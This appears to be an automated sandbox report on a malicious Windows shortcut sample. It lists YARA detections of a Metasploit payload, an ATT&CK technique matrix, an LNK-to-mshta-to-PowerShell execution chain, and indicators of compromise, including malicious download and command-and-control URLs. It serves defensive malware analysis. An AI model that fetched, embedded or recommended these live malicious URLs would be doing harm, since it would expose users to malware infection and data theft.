          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_64\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_MSIL\System.Activities.Presentation\v4.0_4.0.0.0__31bf3856ad364e35\System.Activities.Presentation.dll VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.log VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\edb.chk VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ProgramData\Microsoft\Network\Downloader\qmgr.db VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\System32\svchost.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Data\v4.0_4.0.0.0__b77a5c561934e089\System.Data.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\Microsoft.NET\assembly\GAC_32\System.Transactions\v4.0_4.0.0.0__b77a5c561934e089\System.Transactions.dll VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\ VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior
          Source: C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exeQueries volume information: C:\Windows\System32\CatRoot\{F750E6C3-38EE-11D1-85E5-00C04FC295EE}\Microsoft-Windows-Client-Features-Package0313~31bf3856ad364e35~amd64~~10.0.19041.1949.cat VolumeInformationJump to behavior

          Remote Access Functionality

          barindex
          Yara detected Metasploit Payload
          Source: Yara matchFile source: 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Yara detected MetasploitPayload
          Source: Yara matchFile source: amsi64_7540.amsi.csv, type: OTHER
          Source: Yara matchFile source: amsi32_7812.amsi.csv, type: OTHER
          Source: Yara matchFile source: 00000003.00000002.2000051277.000001E1C2463000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.2000051277.000001E1C0ADA000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.2000051277.000001E1C2433000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.2000051277.000001E1C2482000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.2000051277.000001E1C243E000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.2000051277.000001E1C1D34000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.2000051277.000001E1C082F000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: 00000003.00000002.2000051277.000001E1C1878000.00000004.00000800.00020000.00000000.sdmp, type: MEMORY
          Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7540, type: MEMORYSTR
          Source: Yara matchFile source: Process Memory Space: powershell.exe PID: 7812, type: MEMORYSTR

          Mitre Att&ck Matrix

          ReconnaissanceResource DevelopmentInitial AccessExecutionPersistencePrivilege EscalationDefense EvasionCredential AccessDiscoveryLateral MovementCollectionCommand and ControlExfiltrationImpact
          Gather Victim Identity InformationAcquire InfrastructureValid Accounts2
          Command and Scripting Interpreter          		1
          DLL Side-Loading          		11
          Process Injection          		111
          Masquerading          		OS Credential Dumping11
          Security Software Discovery          		Remote Services1
          Email Collection          		11
          Encrypted Channel          		Exfiltration Over Other Network MediumAbuse Accessibility Features
          CredentialsDomainsDefault Accounts41
          PowerShell          		Boot or Logon Initialization Scripts1
          DLL Side-Loading          		31
          Virtualization/Sandbox Evasion          		LSASS Memory11
          Process Discovery          		Remote Desktop Protocol1
          Archive Collected Data          		1
          Non-Standard Port          		Exfiltration Over BluetoothNetwork Denial of Service
          Email AddressesDNS ServerDomain AccountsAtLogon Script (Windows)Logon Script (Windows)11
          Process Injection          		Security Account Manager31
          Virtualization/Sandbox Evasion          		SMB/Windows Admin SharesData from Network Shared Drive1
          Ingress Tool Transfer          		Automated ExfiltrationData Encrypted for Impact
          Employee NamesVirtual Private ServerLocal AccountsCronLogin HookLogin Hook1
          Deobfuscate/Decode Files or Information          		NTDS1
          Application Window Discovery          		Distributed Component Object ModelInput Capture2
          Non-Application Layer Protocol          		Traffic DuplicationData Destruction
          Gather Victim Network InformationServerCloud AccountsLaunchdNetwork Logon ScriptNetwork Logon Script11
          Obfuscated Files or Information          		LSA Secrets1
          System Network Configuration Discovery          		SSHKeylogging113
          Application Layer Protocol          		Scheduled TransferData Encrypted for Impact
          Domain PropertiesBotnetReplication Through Removable MediaScheduled TaskRC ScriptsRC Scripts1
          Software Packing          		Cached Domain Credentials1
          File and Directory Discovery          		VNCGUI Input CaptureMultiband CommunicationData Transfer Size LimitsService Stop
          DNSWeb ServicesExternal Remote ServicesSystemd TimersStartup ItemsStartup Items1
          DLL Side-Loading          		DCSync22
          System Information Discovery          		Windows Remote ManagementWeb Portal CaptureCommonly Used PortExfiltration Over C2 ChannelInhibit System Recovery

          Behavior Graph

          Hide Legend

          Legend:

          • Process
          • Signature
          • Created File
          • DNS/IP Info
          • Is Dropped
          • Is Windows Process
          • Number of created Registry Values
          • Number of created Files
          • Visual Basic
          • Delphi
          • Java
          • .Net C# or VB.NET
          • C, C++ or other language
          • Is malicious
          • Internet
          behaviorgraph top1 dnsIp2 2 Behavior Graph ID: 1638546 Sample: ____ ______.xls.lnk.bin.lnk Startdate: 14/03/2025 Architecture: WINDOWS Score: 100 40 mcnn.ru 2->40 42 iplogger.cn 2->42 44 ecols.ru 2->44 58 Found malware configuration 2->58 60 Malicious sample detected (through community Yara rule) 2->60 62 Antivirus detection for URL or domain 2->62 64 19 other signatures 2->64 10 powershell.exe 15 2->10         started        13 svchost.exe 1 1 2->13         started        signatures3 process4 dnsIp5 68 Windows shortcut file (LNK) starts blacklisted processes 10->68 70 Found suspicious powershell code related to unpacking or dynamic code loading 10->70 16 mshta.exe 16 10->16         started        21 conhost.exe 1 10->21         started        48 127.0.0.1 unknown unknown 13->48 signatures6 process7 dnsIp8 36 iplogger.cn 172.67.160.19, 443, 49718 CLOUDFLARENETUS United States 16->36 38 ecols.ru 91.218.228.26, 49719, 80 IHCRUInternet-HostingLtdMoscowRussiaRU Russian Federation 16->38 34 C:\Users\user\AppData\Local\...\ecols[1].hta, HTML 16->34 dropped 50 Windows shortcut file (LNK) starts blacklisted processes 16->50 52 Malicious encrypted Powershell command line found 16->52 54 Suspicious powershell command line found 16->54 56 Encrypted powershell cmdline option found 16->56 23 powershell.exe 30 16->23         started        file9 signatures10 process11 signatures12 66 Windows shortcut file (LNK) starts blacklisted processes 23->66 26 powershell.exe 22 23->26         started        30 conhost.exe 23->30         started        process13 dnsIp14 46 mcnn.ru 190.2.146.205, 49726, 8443 WORLDSTREAMNL Curacao 26->46 72 Found suspicious powershell code related to unpacking or dynamic code loading 26->72 32 conhost.exe 26->32         started        signatures15 process16

          Screenshots

          Thumbnails

          This section contains all screenshots as thumbnails, including those not shown in the slideshow.


          windows-stand

          Antivirus, Machine Learning and Genetic Malware Detection

          Initial Sample

          SourceDetectionScannerLabelLink
          ____ ______.xls.lnk.bin.lnk26%ReversingLabsShortcut.Trojan.Pantera
          ____ ______.xls.lnk.bin.lnk30%VirustotalBrowse

          Dropped Files

          SourceDetectionScannerLabelLink
          C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\ZVZFKMB9\ecols[1].hta100%AviraVBS/Dldr.Agent.vrfx

          Unpacked PE Files

          ⊘No Antivirus matches

          Domains

          ⊘No Antivirus matches

          URLs

          SourceDetectionScannerLabelLink
          https://iplogger.cn/forensicsas.png/100%Avira URL Cloudphishing
          https://iplogger.cn/forensicsas.pngS_BROWSER_APP_100%Avira URL Cloudphishing
          http://ecols.ru/ecols.hta(0%Avira URL Cloudsafe
          http://ecols.ru/ecols.hta...40%Avira URL Cloudsafe
          http://ecols.ru/ecols.htas.png~0%Avira URL Cloudsafe
          http://ecols.ru/0%Avira URL Cloudsafe
          http://ecols.ru/ecols.hta0%Avira URL Cloudsafe
          https://mcnn.ru:8443/jquery-3.3.1.slim.min.js:r100%Avira URL Cloudmalware
          https://iplogger.cn/100%Avira URL Cloudphishing
          https://iplogger.cn/forensicsas.pngD100%Avira URL Cloudphishing
          https://iplogger.cn/forensicsas.png3100%Avira URL Cloudphishing
          http://ecols.ru/ecols.htaT0%Avira URL Cloudsafe
          http://ecols.ru/ecols.htaY0%Avira URL Cloudsafe
          https://iplogger.cn/forensicsas.png31536000100%Avira URL Cloudphishing
          https://iplogger.cn/forensicsas.pngf100%Avira URL Cloudphishing
          https://mcnn.ru:8443/jquery-3.3.1.slim.min.js(r100%Avira URL Cloudmalware
          http://ecols.ru/ecols.hta...0%Avira URL Cloudsafe
          https://iplogger.cn/forensicsas.pnge100%Avira URL Cloudphishing
          https://mcnn.ru:8443/jquery-3.3.1.slim.min.js100%Avira URL Cloudmalware
          http://ecols.ru/ecols.htaX0%Avira URL Cloudsafe
          http://ecols.ru/ecols.htaP0%Avira URL Cloudsafe
          https://iplogger.cn/~100%Avira URL Cloudphishing
          https://mcnn.ru:8443/jquery-3.3.1.slim.min.js6V100%Avira URL Cloudmalware
          https://iplogger.cn/forensicsas.png~100%Avira URL Cloudphishing
          http://ecols.ru/ecols.htaD0%Avira URL Cloudsafe
          http://ecols.ru/ecols.htaru/ecols.htaA0%Avira URL Cloudsafe
          https://iplogger.cn/forensicsas.png100%Avira URL Cloudphishing
          https://iplogger.cn/forensicsas.pngX100%Avira URL Cloudphishing
          https://mcnn.ru/100%Avira URL Cloudmalware
          http://ecols.ru/ecols.htaTKC:0%Avira URL Cloudsafe
          http://mcnn.ru/jquery-3.3.1.slim.min.js100%Avira URL Cloudmalware

          Domains and IPs

          Contacted Domains

          NameIPActiveMaliciousAntivirus DetectionReputation
          ecols.ru
          		91.218.228.26
          		truefalse
            		unknown
            iplogger.cn
            		172.67.160.19
            		truetrue
              		unknown
              mcnn.ru
              		190.2.146.205
              		truetrue
                		unknown

                Contacted URLs

                NameMaliciousAntivirus DetectionReputation
                https://iplogger.cn/forensicsas.pngtrue
                • Avira URL Cloud: phishing
                		unknown
                http://mcnn.ru/jquery-3.3.1.slim.min.jstrue
                • Avira URL Cloud: malware
                		unknown

                URLs from Memory and Binaries

                NameSourceMaliciousAntivirus DetectionReputation
                http://ecols.ru/ecols.htas.png~mshta.exe, 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.2087103662.000001B148958000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078431282.000001B148956000.00000004.00000020.00020000.00000000.sdmpfalse
                • Avira URL Cloud: safe
                		unknown
                http://code.jquery.com/powershell.exe, powershell.exe, 00000006.00000002.1389765781.00000000077D0000.00000040.00001000.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1389805083.000000000783A000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmpfalse
                  		high
                  http://ecols.ru/ecols.hta...4mshta.exe, 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmpfalse
                  • Avira URL Cloud: safe
                  		unknown
                  http://www.microsoft.copowershell.exe, 00000003.00000002.2068241616.000001E1D8880000.00000004.00000020.00020000.00000000.sdmpfalse
                    		high
                    https://contoso.com/Licensepowershell.exe, 00000006.00000002.1382248319.0000000005BA9000.00000004.00000800.00020000.00000000.sdmpfalse
                      		high
                      https://g.live.com/odclientsettings/ProdV2.C:edb.log.5.drfalse
                        		high
                        https://iplogger.cn/mshta.exe, 00000002.00000002.2087019154.000001B148900000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078490513.000001B1488F4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2085620199.000001B1488FF000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2077055407.000001B1488FF000.00000004.00000020.00020000.00000000.sdmptrue
                        • Avira URL Cloud: phishing
                        		unknown
                        https://g.live.com/odclientsettings/Prod.C:edb.log.5.drfalse
                          		high
                          https://g.live.com/odclientsettings/ProdV2edb.log.5.drfalse
                            		high
                            https://aka.ms/pscore6lBpowershell.exe, 00000006.00000002.1370317295.0000000004B41000.00000004.00000800.00020000.00000000.sdmpfalse
                              		high
                              https://iplogger.cn/forensicsas.pngDmshta.exe, 00000002.00000002.2086880000.000001B1488A6000.00000004.00000020.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: phishing
                              		unknown
                              https://iplogger.cn/forensicsas.pngS_BROWSER_APP_mshta.exe, 00000002.00000002.2087288383.000001B148BF0000.00000004.00000020.00020000.00000000.sdmpfalse
                              • Avira URL Cloud: phishing
                              		unknown
                              https://contoso.com/powershell.exe, 00000006.00000002.1382248319.0000000005BA9000.00000004.00000800.00020000.00000000.sdmpfalse
                                		high
                                https://nuget.org/nuget.exepowershell.exe, 00000000.00000002.1175679720.00000205748CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1156807846.0000020566129000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1175679720.0000020574A02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2059208626.000001E1D0823000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2059208626.000001E1D06E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1382248319.0000000005BA9000.00000004.00000800.00020000.00000000.sdmpfalse
                                  		high
                                  https://oneget.orgXpowershell.exe, 00000000.00000002.1156807846.0000020565CB8000.00000004.00000800.00020000.00000000.sdmpfalse
                                    		high
                                    http://ecols.ru/mshta.exe, 00000002.00000003.1169238850.000001B14895C000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://ecols.ru/ecols.hta(mshta.exe, 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    http://ecols.ru/ecols.htamshta.exe, 00000002.00000003.2078431282.000001B148956000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2080837703.000001B94BBC4000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078610955.000001B94BAD1000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2079247893.000001B94BB91000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078853336.000001B94BB2B000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2079383275.000001B94BB94000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.2088137748.000001B94BBDB000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: safe
                                    		unknown
                                    https://iplogger.cn/forensicsas.png/mshta.exe, 00000002.00000002.2086880000.000001B1488A6000.00000004.00000020.00020000.00000000.sdmpfalse
                                    • Avira URL Cloud: phishing
                                    		unknown
                                    http://schemas.xmlsoap.org/ws/2005/05/identity/claims/namepowershell.exe, 00000000.00000002.1156807846.0000020564851000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2000051277.000001E1C0671000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1370317295.0000000004B41000.00000004.00000800.00020000.00000000.sdmpfalse
                                      		high
                                      https://mcnn.ru:8443/jquery-3.3.1.slim.min.js:rpowershell.exe, 00000006.00000002.1368654410.0000000002D90000.00000004.00000020.00020000.00000000.sdmpfalse
                                      • Avira URL Cloud: malware
                                      		unknown
                                      https://g.live.com/1rewlive5skydrive/OneDriveProductionV2?OneDriveUpdate=9c123752e31a927b78dc96231b6svchost.exe, 00000005.00000003.1211090216.0000020DBB842000.00000004.00000800.00020000.00000000.sdmp, qmgr.db.5.dr, edb.log.5.drfalse
                                        		high
                                        https://iplogger.cn/forensicsas.png3mshta.exe, 00000002.00000002.2086942294.000001B1488BD000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078490513.000001B1488BC000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2086121058.000001B1488BD000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: phishing
                                        		unknown
                                        https://iplogger.cn/forensicsas.png31536000mshta.exe, 00000002.00000003.1169238850.000001B14895C000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: phishing
                                        		unknown
                                        http://ecols.ru/ecols.hta...mshta.exe, 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://ecols.ru/ecols.htaTmshta.exe, 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmpfalse
                                        • Avira URL Cloud: safe
                                        		unknown
                                        http://nuget.org/NuGet.exepowershell.exe, 00000000.00000002.1175679720.00000205748CC000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1156807846.0000020566129000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000000.00000002.1175679720.0000020574A02000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2059208626.000001E1D0823000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000003.00000002.2059208626.000001E1D06E0000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1382248319.0000000005BA9000.00000004.00000800.00020000.00000000.sdmpfalse
                                          		high
                                          http://www.apache.org/licenses/LICENSE-2.0powershell.exe, 00000000.00000002.1156807846.0000020565CB8000.00000004.00000800.00020000.00000000.sdmpfalse
                                            		high
                                            http://ecols.ru/ecols.htaYmshta.exe, 00000002.00000003.2077055407.000001B148943000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000002.2087103662.000001B148958000.00000004.00000020.00020000.00000000.sdmp, mshta.exe, 00000002.00000003.2078431282.000001B148956000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://ecols.ru/ecols.htaXmshta.exe, 00000002.00000002.2087634483.000001B94B52D000.00000004.00000020.00020000.00000000.sdmpfalse
                                            • Avira URL Cloud: safe
                                            		unknown
                                            http://pesterbdd.com/images/Pester.pngpowershell.exe, 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1386504166.000000000715D000.00000004.00000020.00020000.00000000.sdmpfalse
                                              		high
                                              http://www.apache.org/licenses/LICENSE-2.0.htmlpowershell.exe, 00000006.00000002.1370317295.0000000004CC5000.00000004.00000800.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1386504166.000000000715D000.00000004.00000020.00020000.00000000.sdmpfalse
                                                		high
                                                https://mcnn.ru:8443/jquery-3.3.1.slim.min.jspowershell.exe, 00000006.00000002.1368654410.0000000002D90000.00000004.00000020.00020000.00000000.sdmp, powershell.exe, 00000006.00000002.1389805083.000000000783F000.00000004.00000020.00020000.00000000.sdmpfalse
                                                • Avira URL Cloud: malware
                                                		unknown
                                                https://go.micropowershell.exe, 00000003.00000002.2000051277.000001E1C1878000.00000004.00000800.00020000.00000000.sdmpfalse
                                                  		high
                                                  https://iplogger.cn/forensicsas.pngfmshta.exe, 00000002.00000002.2086880000.000001B1488A6000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: phishing
                                                  		unknown
                                                  https://mcnn.ru:8443/jquery-3.3.1.slim.min.js(rpowershell.exe, 00000006.00000002.1368654410.0000000002D90000.00000004.00000020.00020000.00000000.sdmpfalse
                                                  • Avira URL Cloud: malware
                                                  		unknown
